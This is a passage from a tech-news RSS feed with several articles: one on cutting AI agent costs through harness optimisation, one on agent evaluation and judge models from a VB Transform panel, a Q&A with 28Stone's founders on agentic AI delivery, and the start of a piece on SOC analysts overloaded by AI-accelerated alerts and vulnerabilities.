<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Why boutique consultancies might be better for AI rollouts than the bigwigs]]></title>
<description><![CDATA[Major AI labs are unleashing forward-deployed engineers (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.



But smaller firms are in the mix now, as well. AI is helping 28Stone Con...]]></description>
<link>https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</guid>
<pubDate>Mon, 20 Jul 2026 13:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Major AI labs are <a href="https://www.computerworld.com/article/4171867/heres-one-career-emerging-from-the-ai-shift-forward-deployed-engineers.html">unleashing forward-deployed engineers</a> (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.</p>



<p class="wp-block-paragraph">But smaller firms are in the mix now, as well. AI is helping <a href="https://www.28stone.com/" target="_blank" rel="noreferrer noopener">28Stone Consulting</a>, a New York-based, 230-person technology consultancy for capital markets, punch above its weight against larger rivals in the <a href="https://www.computerworld.com/article/4180088/ai-vendor-fdes-key-considerations-and-concerns.html">rush to deliver FDEs</a>.</p>



<p class="wp-block-paragraph">In this Q&amp;A, <a href="https://www.linkedin.com/in/thomas-dolan-4124914" target="_blank" rel="noreferrer noopener">Thomas Dolan</a> and <a href="https://www.linkedin.com/in/frank-erickson-07675a1" target="_blank" rel="noreferrer noopener">Frank Erickson</a>, founders of 28Stone, argue that agentic AI isn’t a one-size-fits-all solution in vertical markets; success takes discipline, deep domain expertise, and human involvement to mitigate risk.</p>



<p class="wp-block-paragraph">Many enterprises continue to struggle with the use of AI agents, which is consultancies are stepping in to get projects off the ground. 28Stone is among those that have published blueprints and methodologies on the development and delivery of agentic AI workflows with humans in the loop.</p>



<p class="wp-block-paragraph"><em>Computerworld</em> spoke with both founding partners about why companies are still stumbling with <a href="https://www.computerworld.com/article/4083589/from-chatbots-to-colleagues-how-agentic-ai-is-redefining-enterprise-automation.html">agentic AI rollouts</a>, and what a disciplined delivery process actually looks like.</p>



<p class="wp-block-paragraph"><strong>After 15 years of delivering software for capital markets firms, is ‘AI-first’ a real distinction or just positioning?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re not shying away from being AI-forward. What needs to shine through is AI done intelligently — not stuff you get by buying some tokens for somebody on the trading desk. We’re an AI-first firm.”</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And it’s temporary. At some point, AI is going to be synonymous with software development.</p>



<p class="wp-block-paragraph">“The whole idea of an AI SDLC (software development lifecycle) versus an SDLC is going to be one and the same, a lot like cloud computing today. To not include AI in your strategy, you’d look like a COBOL vendor.”</p>



<p class="wp-block-paragraph"><strong>What does agentic AI delivery look like?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’ve got several AI initiatives delivering a pure agentic approach. We’ve doubled down on the human expertise wrapper in the SDLC. That doesn’t mean sacrificing any of the benefits of the AI models — quite the opposite.</p>



<p class="wp-block-paragraph">“You don’t achieve anywhere near the same level of value from applying AI without keeping that expertise — industry, functional and technical — throughout the process.”</p>



<p class="wp-block-paragraph"><strong>Where do humans stay in the loop once agents are doing the work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re believers in starting with requirements discovery. Someone who knows the analytical nuances of a good business analyst is critically important; shaping a product owner’s business information through a markup file that can be fed into a BA agent, then treating the output as if it came from a very fast junior BA. Only then is the story complete.</p>



<p class="wp-block-paragraph">“The developer takes that story, transforms it into the most efficient input, then owns the output, because they’re accountable for that code. A developer should own the code on both the input and output side.</p>



<p class="wp-block-paragraph">“Your product owner, who knows the business, that’s great. But expecting them to interact with an agent and output enterprise code is ridiculous. It’s not a great plan.“</p>



<p class="wp-block-paragraph"><strong>Why not just put one do-everything person in charge of AI and agents?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “Every analyst, programmer or software engineer isn’t a great requirements analyst. And a great domain analyst with some technical background won’t know if the agent’s code is garbage, maintainable, performant.</p>



<p class="wp-block-paragraph">“It’s unrealistic to expect one individual to have that breadth across domain, software engineering, testing, deployment. Clients ask all the time, and we push back: ‘Great, if you can find that guy, they’re few and far between.’ To deliver at the enterprise level, you need the human expertise, at depth.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “There’s system speed and latency, important in parts of finance. Then there’s speed of delivery, because other areas evolve quickly and time-to-market is critical.</p>



<p class="wp-block-paragraph">“Our human wrapper may at first pass come across as a little slowed down. Maybe it is. But [Erickson] has a good analogy about one of the dangers of AI: you can end up going really fast in the wrong direction. By the time you look up, you’re way off base and have to backtrack.“</p>



<p class="wp-block-paragraph"><strong>What about AI in your sector do you think is overhyped?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “The hype around the ease of use of AI and the democratization of enterprise software delivery — that ‘anybody could do it now, it’s all being done by machines’ — is another idea that could prove costly in the long run.</p>



<p class="wp-block-paragraph">“This do-it-yourself reaction is dangerous for clients, and for trust in the overall AI benefit, which is real. We compare it to the beginning of offshoring 20, 30 years ago: a golden idea that was going to cure everything. A lot of firms did it thoughtlessly, thinking it’s just labor arbitrage, and it almost inevitably failed. That all-or-nothing mentality missed that offshoring is an amazing way of getting better value for your dollar, but it has to be done thoughtfully, so the delivery process — the thing that ties it all together — stays unsevered.</p>



<p class="wp-block-paragraph">“We’re seeing that now. I’ve heard, ‘We’ll just push a button, the machine’s building the system.’ The machine is not building the system. It might be writing the code, the story, running the tests.</p>



<p class="wp-block-paragraph">The system is built by a team of engineers you bring in and trust. My fear is that people will say, ‘We don’t need this vendor or this technology team. I’ve got a product team. They might not be able to code at all, but they know the business,’ and it fails dramatically. </p>



<p class="wp-block-paragraph">“Then people say, ‘We played with AI, it’s not ready yet,’ and throw it all away. One of the best things we can do is ensure clients know the benefit is real.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “The hype can be summed up in a single phrase: <a href="https://www.computerworld.com/article/4022711/when-everything-is-vibing.html">vibe coding</a>. That has done AI a massive disservice, because there’s a huge difference between vibe coding and enterprise software development, and some of the loudest proponents of AI are too latched on to it. In our industry, the only way to succeed would be a stable of unicorns. It just doesn’t scale. I get perturbed when our people internally refer to AI tooling as vibe coding; if they think that’s what they’re doing, they’re misunderstood.“</p>



<p class="wp-block-paragraph"><strong>When you engage clients at different levels of AI maturity, how do you get them to a understand what works?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “95% of our take on an agentic approach is in line with everyone else’s, but that 5% matters, especially in requirements discovery, in who’s giving the requirements and how they’re thought of. It can set you up for dramatic errors, given the speed at which you’re moving.</p>



<p class="wp-block-paragraph">“There’s a dangerous human tendency we’re seeing among clients to try and cut corners at the start of a project and — in lieu of having deep, expert driven discovery sessions — just summarize what they may want using AI.</p>



<p class="wp-block-paragraph">“We would hope our clients are collaborative, everyone understanding it’s early days. If a client insists on doing something we feel strongly against, like a product owner completely owning everything right up to code generation, that’s an issue we have to either push back strongly on or step out of the accountability for.“</p>



<p class="wp-block-paragraph"><strong>AI body shops — LLM providers and giant consultancies — are emerging to help enterprises deploy AI. Does that model work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Whether you’re partnering with an LLM or with an AI-first, generic software provider — ‘Hey, we’re not industry guys, but we know AI delivery’ — you end up, if you’re a bank or a broker-dealer, saying: ‘All right, we know our business, these guys know the AI side of it. What could go wrong? Put us together and we’ll have quality engineering.’</p>



<p class="wp-block-paragraph">“The problem is what you miss: the know-how of putting industry and technical expertise together and actually delivering financial services systems. The people working at the generic delivery firms, whether an AI-only firm or a body shop somewhere, don’t have that capability.“</p>



<p class="wp-block-paragraph"><strong>Does AI change the economics for smaller consultancies like yours competing against the big firms, and does it cut both ways?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Over our 15 years pre-AI, there were two recurring reasons we’d lose a project. One: ‘We’d love to work with you guys, given your subject matter expertise, but the costs just aren’t there compared to my budgets. I’m being forced to go to a body shop or an [offshore] delivery center.’ The other side of that coin: ‘We love your capabilities, but you’re a firm of 230 people and I need 300, 400 people.’</p>



<p class="wp-block-paragraph">“AI changes the options for clients. You don’t have to sacrifice the niche vendor who knows your space just because you need a larger team or a cost target. AI levels the playing field and should allow smaller firms to compete with the larger, big-box generic firms, the Accentures of the world.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “It redefines what scale means. You can look at velocity as a measure of your cost to deliver, not a rate card. Scale can’t be defined in terms of headcount anymore. It’s got to be defined in terms of output.</p>



<p class="wp-block-paragraph">“There’s a threat in it, too. If you’re an Accenture with hundreds of thousands of low-cost software engineers, how do you train all those people? I feel for them. But for us, a couple hundred people with a specific domain focus, it’s a huge opportunity.“</p>



<p class="wp-block-paragraph"><strong>How has the profile of the people you and others hire changed with this agentic process?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “You’re still looking for people with strong engineering and design backgrounds, and communication skills, because they interact across the software development lifecycle more than in the past.</p>



<p class="wp-block-paragraph">“Many take too much joy in typing out perfect code. Sorry, I don’t need you writing for-loops and classes anymore. I need you reviewing them, understanding them, operating at a higher level. That’s a different kind of person: an engineer, not a programmer or a coder. On the [business analyst] side it’s similar: people took great pride in detailed user stories covering every path. Now it’s conversations, prompts, reviewing output — less doing, more interacting.</p>



<p class="wp-block-paragraph">“More than ever, they have to be interested in the domain. They can’t just be, ‘I want to learn everything there is to know about Java.’ That’s too narrow. They don’t have to be an expert; they have to be interested. In our case, capital markets is a specific niche. The biggest challenge is getting familiar with the tools — finding time, while delivering for customers, to ramp up and make the mistakes you need to without jeopardizing projects.“</p>



<p class="wp-block-paragraph"><strong>What about governance? Who’s keeping AI delivery and its costs under control?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “This is evolving rapidly. People aren’t sure how to put governance around this. The most obvious is financial governance. People are starting to get hefty bills. One of our clients spent a million dollars on tokens over the last eight weeks alone. Sticker shock. The token-maxing policies are starting to show their flaws. It’s wild west still: learn on the fly, then figure out what needs to be governed.“</p>



<p class="wp-block-paragraph"><strong>Are CIOs actually opening their wallets? And when they do, what’s the smarter way to invest?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “There’s still a lot of caution. Forecasts keep going down on how long something should take. So: ‘I could wait three months and maybe still get it delivered by the same date someone’s promising me now, but for half the price. I’m going to wait and see when equilibrium is met.’ We haven’t seen the wallets open up like crazy — it’s slow adoption.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “One of our clients is looking at it from a productivity-boost perspective: instead of doing the same for less, I can do much more for the same. AI lets clients pull the trigger on things they wouldn’t have in the past — projects that might not have been approved pre-AI, where the costs have come down to a point that’s palatable with the business.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And that’s the story we’re hoping to hear more of. There isn’t a huge cost anymore to exploring a business opportunity. The time and money that would have gone to a return-on-investment study could be spent on a proof-of-concept with AI, and the project done a few weeks later. Maybe [there’s] a hint of things to come, where decisions start being made quicker. </p>



<p class="wp-block-paragraph">“There’s a little fear on our side, though: a lot of tiny little projects is tough for a consulting business.“</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



